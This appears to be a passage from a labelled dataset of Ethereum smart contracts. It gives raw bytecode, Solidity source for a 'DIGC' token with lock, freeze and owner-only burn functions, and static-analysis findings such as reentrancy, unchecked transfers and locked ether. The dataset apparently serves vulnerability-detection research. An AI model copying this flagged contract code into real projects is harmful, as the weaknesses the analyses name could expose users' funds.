0x6060604052600436106101195763ffffffff60e060020a600035041663023c8be2811461011e5780630d427b72146101455780631076426814610177578063136cf5c1146101a55780631806874a146101d65780631c02708d146101e95780632e6245c6146101fc578063428657f71461020f57806359d90c19146102705780635e00a1771461028657806364f15430146102e55780636b3ec0ac14610307578063788c26b41461033a57806379ba5097146103b057806382b2e257146103c35780638910cd58146103d65780638da5cb5b146103ec5780639d76ea58146103ff578063a3c88b3114610412578063d4ee1d9014610428578063d87003e51461043b578063f2fde38b146104e0578063f61ac3a4146104ff575b600080fd5b341561012957600080fd5b610143600160a060020a0360043581169060243516610512565b005b341561015057600080fd5b61015b6004356105a0565b604051600160a060020a03909116815260200160405180910390f35b341561018257600080fd5b610143600160a060020a03600435811690602435811690604435166064356105c8565b34156101b057600080fd5b6101c4600160a060020a0360043516610716565b60405190815260200160405180910390f35b34156101e157600080fd5b6101c4610804565b34156101f457600080fd5b61014361080a565b341561020757600080fd5b6101c46108c7565b341561021a57600080fd5b6101c460048035600160a060020a03169060446024803590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965050933593506108cd92505050565b341561027b57600080fd5b610143600435610995565b341561029157600080fd5b61014360048035600160a060020a03169060446024803590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506109f595505050505050565b34156102f057600080fd5b610143600160a060020a0360043516602435610ad3565b341561031257600080fd5b610326600160a060020a0360043516610c75565b604051901515815260200160405180910390f35b341561034557600080fd5b61015b60048035600160a060020a031690602480359160443591606435919060a49060843590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650508435946020013515159350610ccf92505050565b34156103bb57600080fd5b610143610d78565b34156103ce57600080fd5b6101c4610e1f565b34156103e157600080fd5b610143600435610e96565b34156103f757600080fd5b61015b610ef6565b341561040a57600080fd5b61015b610f05565b341561041d57600080fd5b610143600435610f1d565b341561043357600080fd5b61015b610f4a565b341561044657600080fd5b61045a600160a060020a0360043516610f59565b6040518084815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b838110156104a357808201518382015260200161048b565b50505050905090810190601f1680156104d05780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b34156104eb57600080fd5b610143600160a060020a036004351661101b565b341561050a57600080fd5b61014361107d565b60005433600160a060020a0390811691161461052a57fe5b61053382610c75565b151561053e57600080fd5b81600160a060020a03166321b8092e8260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561058c57600080fd5b5af1151561059957600080fd5b5050505050565b60048054829081106105ae57fe5b600091825260209091200154600160a060020a0316905081565b60005433600160a060020a039081169116146105e057fe5b600160a060020a03841673c7c03b8a3fc5719066e185ea616e87b88eba44a3141561060a57600080fd5b30600160a060020a031683600160a060020a031614156106905783600160a060020a031663a9059cbb838360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561067857600080fd5b5af1151561068557600080fd5b505050604051805150505b61069983610c75565b156107105782600160a060020a0316637b24343e85848460405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401600060405180830381600087803b15156106ff57600080fd5b5af1151561070c57600080fd5b5050505b50505050565b600080548190819033600160a060020a0390811691161461073357fe5b61073c84610c75565b151561074757600080fd5b600160a060020a0384166000908152600560205260409020546004805491935090600019810190811061077657fe5b60009182526020909120015460048054600160a060020a03909216925082918490811061079f57fe5b6000918252602080832091909101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03948516179055918316815260059091526040902082905560048054906107f8906000198301611162565b50506004549392505050565b60035481565b60005433600160a060020a0390811691161461082257fe5b6004541561082f57600080fd5b60005473c7c03b8a3fc5719066e185ea616e87b88eba44a39063a9059cbb90600160a060020a031661085f610e1f565b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156108a257600080fd5b5af115156108af57600080fd5b50505060405180515050600054600160a060020a0316ff5b60025481565b6000805433600160a060020a039081169116146108e657fe5b6108ef84610c75565b156108f957600080fd5b600160a060020a03841660009081526005602052604090206002810183905560010183805161092c92916020019061118b565b506001600480548060010182816109439190611162565b6000928352602080842092909201805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03999099169889179055968252600590526040902094039093555050600454919050565b61099e33610c75565b15156109a957600080fd5b6003546109bc908263ffffffff61113d16565b6003557ff7f8389c02e97ac86a139d13eb8eda336f497f1d49551a0b07764f7e0cb66a3b8160405190815260200160405180910390a150565b6000805433600160a060020a03908116911614610a0e57fe5b5081600160a060020a0381166365b2a863836040518263ffffffff1660e060020a0281526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610a6f578082015183820152602001610a57565b50505050905090810190601f168015610a9c5780820380516001836020036101000a031916815260200191505b5092505050600060405180830381600087803b1515610aba57600080fd5b5af11515610ac757600080fd5b50505061071083610716565b60005433600160a060020a03908116911614610aeb57fe5b610af361107d565b8060025410158015610b0c575080610b09610e1f565b10155b1515610b1757600080fd5b610b2082610c75565b1515610b2b57600080fd5b600254610b3e908263ffffffff61115016565b60025573c7c03b8a3fc5719066e185ea616e87b88eba44a363a9059cbb838360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610ba057600080fd5b5af11515610bad57600080fd5b50505060405180515050600160a060020a0382166326000ba28260405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b1515610bfd57600080fd5b5af11515610c0a57600080fd5b5050507f6e2e2b234d6c1b0fadd2c59ae182cb8570e6bc7a0a0411082d5539c671bece998273c7c03b8a3fc5719066e185ea616e87b88eba44a383604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a15050565b6004546000901515610c8957506000610cca565b600160a060020a038216600081815260056020526040902054600480549091908110610cb157fe5b600091825260209091200154600160a060020a03161490505b919050565b60008054819033600160a060020a03908116911614610cea57fe5b8873c7c03b8a3fc5719066e185ea616e87b88eba44a38989898888610d0d611209565b600160a060020a0397881681529590961660208601526040808601949094526060850192909252608084015260a083015291151560c082015260e0019051809103906000f0801515610d5e57600080fd5b9050610d6b8186866108cd565b5098975050505050505050565b60015433600160a060020a03908116911614610d9357600080fd5b6000546001547f343765429aea5a34b3ff6a3785a98a5abb2597aca87bfbb58632c173d585373a91600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a1600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b600073c7c03b8a3fc5719066e185ea616e87b88eba44a36370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610e7a57600080fd5b5af11515610e8757600080fd5b50505060405180519150505b90565b610e9f33610c75565b1515610eaa57600080fd5b600354610ebd908263ffffffff61115016565b6003557f525e77d2448a79b0e98aff8273b7fca02fbc5d7e691a4ab35e551d4b135e6dbd8160405190815260200160405180910390a150565b600054600160a060020a031681565b73c7c03b8a3fc5719066e185ea616e87b88eba44a381565b610f2633610c75565b1515610f3157600080fd5b600254610f44908263ffffffff61113d16565b60025550565b600154600160a060020a031681565b6005602052806000526040600020600091509050806000015490806001018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561100b5780601f10610fe05761010080835404028352916020019161100b565b820191906000526020600020905b815481529060010190602001808311610fee57829003601f168201915b5050505050908060020154905083565b60005433600160a060020a0390811691161461103357fe5b600054600160a060020a038281169116141561104e57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600060025461108a610e1f565b14611105576110a960025461109d610e1f565b9063ffffffff61115016565b6003549091506110bf908263ffffffff61113d16565b6003556110ca610e1f565b6002557f48b8ff4fe8ea2ab1b59a975094d8616a92b5b37035d6bbeb92ed27a213046ade8160405190815260200160405180910390a161113a565b7f48b8ff4fe8ea2ab1b59a975094d8616a92b5b37035d6bbeb92ed27a213046ade600060405190815260200160405180910390a15b50565b8181018281101561114a57fe5b92915050565b60008282111561115c57fe5b50900390565b81548183558181151161118657600083815260209020611186918101908301611219565b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106111cc57805160ff19168380011785556111f9565b828001600101855582156111f9579182015b828111156111f95782518255916020019190600101906111de565b50611205929150611219565b5090565b604051610d348061123483390190565b610e9391905b80821115611205576000815560010161121f56006060604052341561000f57600080fd5b60405160e080610d348339810160405280805191906020018051919060200180519190602001805191906020018051919060200180519190602001805160008054600160a060020a03338116600160a060020a0319909216821792839055929450911614905061007b57fe5b60028054600160a060020a03988916600160a060020a03199182161790915560038054979098169616959095179095556004929092556005556006556007919091556008805491151560ff1992831617905560006009819055600a8054909216909155600b55610c44806100f06000396000f30060606040526004361061010e5763ffffffff60e060020a60003504166303991aea811461011357806321b8092e1461013857806326000ba2146101595780632e6245c61461016f57806337dafa5b1461018257806338af3eed1461019557806354fd4d50146101c457806363d256ce146101d757806365b2a863146101fe57806369a89b851461021c57806378e979251461022f57806379ba5097146102425780637b24343e1461025557806382b2e2571461027d57806386d1a69f14610290578063872a7810146102a35780638da5cb5b146102b65780639d76ea58146102c9578063b888c479146102dc578063d4ee1d90146102ef578063f2fde38b14610302578063f61ac3a414610321575b600080fd5b341561011e57600080fd5b610126610334565b60405190815260200160405180910390f35b341561014357600080fd5b610157600160a060020a0360043516610415565b005b341561016457600080fd5b610157600435610495565b341561017a57600080fd5b6101266104f9565b341561018d57600080fd5b6101266104ff565b34156101a057600080fd5b6101a8610505565b604051600160a060020a03909116815260200160405180910390f35b34156101cf57600080fd5b610126610514565b34156101e257600080fd5b6101ea61051a565b604051901515815260200160405180910390f35b341561020957600080fd5b6101576004803560248101910135610523565b341561022757600080fd5b61012661075b565b341561023a57600080fd5b610126610761565b341561024d57600080fd5b610157610767565b341561026057600080fd5b610157600160a060020a036004358116906024351660443561080e565b341561028857600080fd5b6101266108b1565b341561029b57600080fd5b61012661091f565b34156102ae57600080fd5b6101ea610a8d565b34156102c157600080fd5b6101a8610a96565b34156102d457600080fd5b6101a8610aa5565b34156102e757600080fd5b610126610ab4565b34156102fa57600080fd5b6101a8610aba565b341561030d57600080fd5b610157600160a060020a0360043516610ac9565b341561032c57600080fd5b610157610b2b565b600354600090819081908190600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561038d57600080fd5b5af1151561039a57600080fd5b50505060405180519350508215806103b457504260045410155b156103c2576000935061040f565b6006546005546004546103dc90429063ffffffff610bf316565b8115156103e557fe5b040291506103fe60095483610bf390919063ffffffff16565b90508281111561040b5750815b8093505b50505090565b60005433600160a060020a0390811691161461042d57fe5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790557f66bd5eddcaea62631fc3d03cff2d463154d0c3bf23bb98750762931a81b9428981604051600160a060020a03909116815260200160405180910390a150565b60005433600160a060020a039081169116146104ad57fe5b600b546104c0908263ffffffff610c0516565b600b557fb9a94bb34695fb39c3d607f7377ce796b12d78acc361b308b9718a7e2de221ec8160405190815260200160405180910390a150565b600b5481565b60055481565b600254600160a060020a031681565b60075481565b600a5460ff1681565b6000805433600160a060020a0390811691161461053c57fe5b60085460ff16151561054d57600080fd5b610555610334565b600354600254919250600160a060020a039081169163a9059cbb91168360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156105b557600080fd5b5af115156105c257600080fd5b50505060405180515050600054600160a060020a0316638910cd588260405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b151561061457600080fd5b5af1151561062157600080fd5b5050600054600160a060020a0316905063a3c88b3161063e6108b1565b60405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b151561067457600080fd5b5af1151561068157600080fd5b5050600354600054600160a060020a03918216925063a9059cbb91166106a56108b1565b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156106e857600080fd5b5af115156106f557600080fd5b50505060405180519050507f2983ef16ace1cb3d9d816aac0a9461443d6551087d36f18e8a5531c1b8dc43d483836040516020808252810182905280604081018484808284378201915050935050505060405180910390a1600054600160a060020a0316ff5b60065481565b60045481565b60015433600160a060020a0390811691161461078257600080fd5b6000546001547f343765429aea5a34b3ff6a3785a98a5abb2597aca87bfbb58632c173d585373a91600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a1600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b60005433600160a060020a0390811691161461082657fe5b600354600160a060020a038481169116141561084157600080fd5b82600160a060020a031663a9059cbb838360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561089557600080fd5b5af115156108a257600080fd5b50505060405180515050505050565b600354600090600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561090457600080fd5b5af1151561091157600080fd5b505050604051805191505090565b60008061092a610b2b565b60025433600160a060020a0390811691161461094557600080fd5b61094d610334565b90506000811161095c57600080fd5b60095461096f908263ffffffff610c0516565b600955600b54610985908263ffffffff610bf316565b600b55600054600160a060020a0316638910cd588260405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b15156109d057600080fd5b5af115156109dd57600080fd5b5050600354600254600160a060020a03918216925063a9059cbb91168360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610a3d57600080fd5b5af11515610a4a57600080fd5b50505060405180519050507ffb81f9b30d73d830c3544b34d827c08142579ee75710b490bab0b3995468c5658160405190815260200160405180910390a1919050565b60085460ff1681565b600054600160a060020a031681565b600354600160a060020a031681565b60095481565b600154600160a060020a031681565b60005433600160a060020a03908116911614610ae157fe5b600054600160a060020a0382811691161415610afc57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000600b54610b386108b1565b14610bf057610b57600b54610b4b6108b1565b9063ffffffff610bf316565b9050610b616108b1565b600b55600054600160a060020a03166359d90c198260405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b1515610bac57600080fd5b5af11515610bb957600080fd5b5050507f48b8ff4fe8ea2ab1b59a975094d8616a92b5b37035d6bbeb92ed27a213046ade8160405190815260200160405180910390a15b50565b600082821115610bff57fe5b50900390565b81810182811015610c1257fe5b929150505600a165627a7a72305820adda956835c03b8182da092d7c90f3d34c854376e7ba572b8bf8fdb7bc1972970029a165627a7a7230582095aac4c8d23b22fc40e734faa76339ba5d7558f28eec242b5955a324f5e614ec0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 5,904 |
0x144c7c154fd9952217ac98d06f9bf9fce64d1fd7
|
pragma solidity ^0.4.23;
// sol token
//
// Rui-Shan Lu Team
// Lursun <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="761a03040503184f474246474536111b171f1a5815191b">[email protected]</a>>
// reference https://ethereum.org/token
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract TokenERC20 is owned {
mapping (address => bool ) public freeAccount;
bool public locked = true;
address public deployer;
// Public variables of the token
string public name ="DigminerCoin";
string public symbol = "DIGC";
uint8 public decimals = 4;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Approval(address indexed owner, address indexed spender, uint value);
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
modifier m_locked {
require(!locked || freeAccount[msg.sender]);
_;
}
function changeLocked() onlyOwner public {
locked = false;
}
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20() public {
deployer = msg.sender;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) m_locked public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(allowance[_from][msg.sender] >= _value); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) m_locked public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) onlyOwner public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
}
/******************************************/
/* ADVANCED TOKEN STARTS HERE */
/******************************************/
contract MyAdvancedToken is TokenERC20 {
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function MyAdvancedToken() TokenERC20() public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require(balanceOf[_from] >= _value); // Check if the sender has enough
require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
// function mintToken(address target, uint256 mintedAmount) onlyOwner public {
// uint tempSupply = totalSupply;
// balanceOf[target] += mintedAmount;
// totalSupply += mintedAmount;
// require(totalSupply >= tempSupply);
// Transfer(0, this, mintedAmount);
// Transfer(this, target, mintedAmount);
// }
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function () payable public {
require(false);
}
}
contract DIGC is MyAdvancedToken {
mapping(address => uint) public lockdate;
mapping(address => uint) public lockTokenBalance;
event LockToken(address account, uint amount, uint unixtime);
function DIGC(address[] targets, uint[] initBalances) MyAdvancedToken() public {
require(targets.length == initBalances.length);
uint _totalSupply = 0;
for(uint i = 0;i < targets.length; i++) {
freeAccount[targets[i]] = true;
balanceOf[targets[i]] = initBalances[i];
_totalSupply += initBalances[i];
}
totalSupply = _totalSupply;
}
function getLockBalance(address account) internal returns(uint) {
if(now >= lockdate[account]) {
lockdate[account] = 0;
lockTokenBalance[account] = 0;
}
return lockTokenBalance[account];
}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
uint usableBalance = balanceOf[_from] - getLockBalance(_from);
require(balanceOf[_from] >= usableBalance);
require(_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require(usableBalance >= _value); // Check if the sender has enough
require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
function lockTokenToDate(address account, uint amount, uint unixtime) onlyOwner public {
require(unixtime >= lockdate[account]);
require(unixtime >= now);
if(balanceOf[account] >= amount) {
lockdate[account] = unixtime;
lockTokenBalance[account] = amount;
emit LockToken(account, amount, unixtime);
}
}
function lockTokenDays(address account, uint amount, uint _days) public {
uint unixtime = _days * 1 days + now;
lockTokenToDate(account, amount, unixtime);
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) onlyOwner public returns (bool success) {
uint usableBalance = balanceOf[msg.sender] - getLockBalance(msg.sender);
require(balanceOf[msg.sender] >= usableBalance);
require(usableBalance >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
}
|
0x6080604052600436106101275763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461012e578063095ea7b3146101b857806318160ddd146101f057806323b872dd1461021757806324ab83d314610241578063313ce5671461026257806336a2f0f11461028d57806342966c68146102a25780634aafef50146102ba57806370a08231146102db5780638da5cb5b146102fc57806395d89b411461032d57806399887f7614610342578063a9059cbb14610363578063b414d4b614610387578063cf309012146103a8578063d472fa26146103bd578063d5f39488146103e4578063d95405f2146103f9578063dd62ed3e14610420578063e724529c14610447578063f2fde38b1461046d575b600080fd5b005b34801561013a57600080fd5b5061014361048e565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017d578181015183820152602001610165565b50505050905090810190601f1680156101aa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c457600080fd5b506101dc600160a060020a036004351660243561051c565b604080519115158252519081900360200190f35b3480156101fc57600080fd5b506102056105ba565b60408051918252519081900360200190f35b34801561022357600080fd5b506101dc600160a060020a03600435811690602435166044356105c0565b34801561024d57600080fd5b50610205600160a060020a0360043516610637565b34801561026e57600080fd5b50610277610649565b6040805160ff9092168252519081900360200190f35b34801561029957600080fd5b5061012c610652565b3480156102ae57600080fd5b506101dc600435610679565b3480156102c657600080fd5b50610205600160a060020a036004351661073d565b3480156102e757600080fd5b50610205600160a060020a036004351661074f565b34801561030857600080fd5b50610311610761565b60408051600160a060020a039092168252519081900360200190f35b34801561033957600080fd5b50610143610770565b34801561034e57600080fd5b506101dc600160a060020a03600435166107cb565b34801561036f57600080fd5b5061012c600160a060020a03600435166024356107e0565b34801561039357600080fd5b506101dc600160a060020a0360043516610824565b3480156103b457600080fd5b506101dc610839565b3480156103c957600080fd5b5061012c600160a060020a0360043516602435604435610842565b3480156103f057600080fd5b50610311610918565b34801561040557600080fd5b5061012c600160a060020a036004351660243560443561092c565b34801561042c57600080fd5b50610205600160a060020a0360043581169060243516610945565b34801561045357600080fd5b5061012c600160a060020a03600435166024351515610962565b34801561047957600080fd5b5061012c600160a060020a03600435166109e1565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105145780601f106104e957610100808354040283529160200191610514565b820191906000526020600020905b8154815290600101906020018083116104f757829003601f168201915b505050505081565b60025460009060ff1615806105495750600160a060020a03331660009081526001602052604090205460ff165b151561055457600080fd5b600160a060020a03338116600081815260086020908152604080832094881680845294825291829020869055815186815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b60065481565b600160a060020a038084166000908152600860209081526040808320339094168352929052908120548211156105f557600080fd5b600160a060020a038085166000908152600860209081526040808320339094168352929052208054839003905561062d848484610a2b565b5060019392505050565b600a6020526000908152604090205481565b60055460ff1681565b60005433600160a060020a0390811691161461066d57600080fd5b6002805460ff19169055565b60008054819033600160a060020a0390811691161461069757600080fd5b6106a033610b61565b600160a060020a03331660009081526007602052604090205490810391508111156106ca57600080fd5b828110156106d757600080fd5b600160a060020a03331660008181526007602090815260409182902080548790039055600680548790039055815186815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a250600192915050565b600b6020526000908152604090205481565b60076020526000908152604090205481565b600054600160a060020a031681565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105145780601f106104e957610100808354040283529160200191610514565b60016020526000908152604090205460ff1681565b60025460ff16158061080a5750600160a060020a03331660009081526001602052604090205460ff165b151561081557600080fd5b610820338383610a2b565b5050565b60096020526000908152604090205460ff1681565b60025460ff1681565b60005433600160a060020a0390811691161461085d57600080fd5b600160a060020a0383166000908152600a602052604090205481101561088257600080fd5b4281101561088f57600080fd5b600160a060020a038316600090815260076020526040902054821161091357600160a060020a0383166000818152600a60209081526040808320859055600b82529182902085905581519283528201849052818101839052517f2d814308d70a2c356e04b9495a463b35b22563f541e00d2dad99471d284966129181900360600190a15b505050565b6002546101009004600160a060020a031681565b620151808102420161093f848483610842565b50505050565b600860209081526000928352604080842090915290825290205481565b60005433600160a060020a0390811691161461097d57600080fd5b600160a060020a038216600081815260096020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b60005433600160a060020a039081169116146109fc57600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000610a3684610b61565b600160a060020a0385166000908152600760205260409020549081039150811115610a6057600080fd5b600160a060020a0383161515610a7557600080fd5b81811015610a8257600080fd5b600160a060020a03831660009081526007602052604090205482810111610aa857600080fd5b600160a060020a03841660009081526009602052604090205460ff1615610ace57600080fd5b600160a060020a03831660009081526009602052604090205460ff1615610af457600080fd5b600160a060020a03808516600081815260076020908152604080832080548890039055938716808352918490208054870190558351868152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a350505050565b600160a060020a0381166000908152600a60205260408120544210610ba757600160a060020a0382166000908152600a60209081526040808320839055600b9091528120555b50600160a060020a03166000908152600b6020526040902054905600a165627a7a723058202445cf1315fa8913470ae9bbd15d394d1727ef3f2e3e3646a9343411fcaf66680029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 5,905 |
0xe8ab69ed40573cfedb19c7b975734f3432b0b8d9
|
/**
*Submitted for verification at Etherscan.io on 2021-06-08
*/
pragma solidity ^0.6.10;
// SPDX-License-Identifier: UNLICENSED
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood:
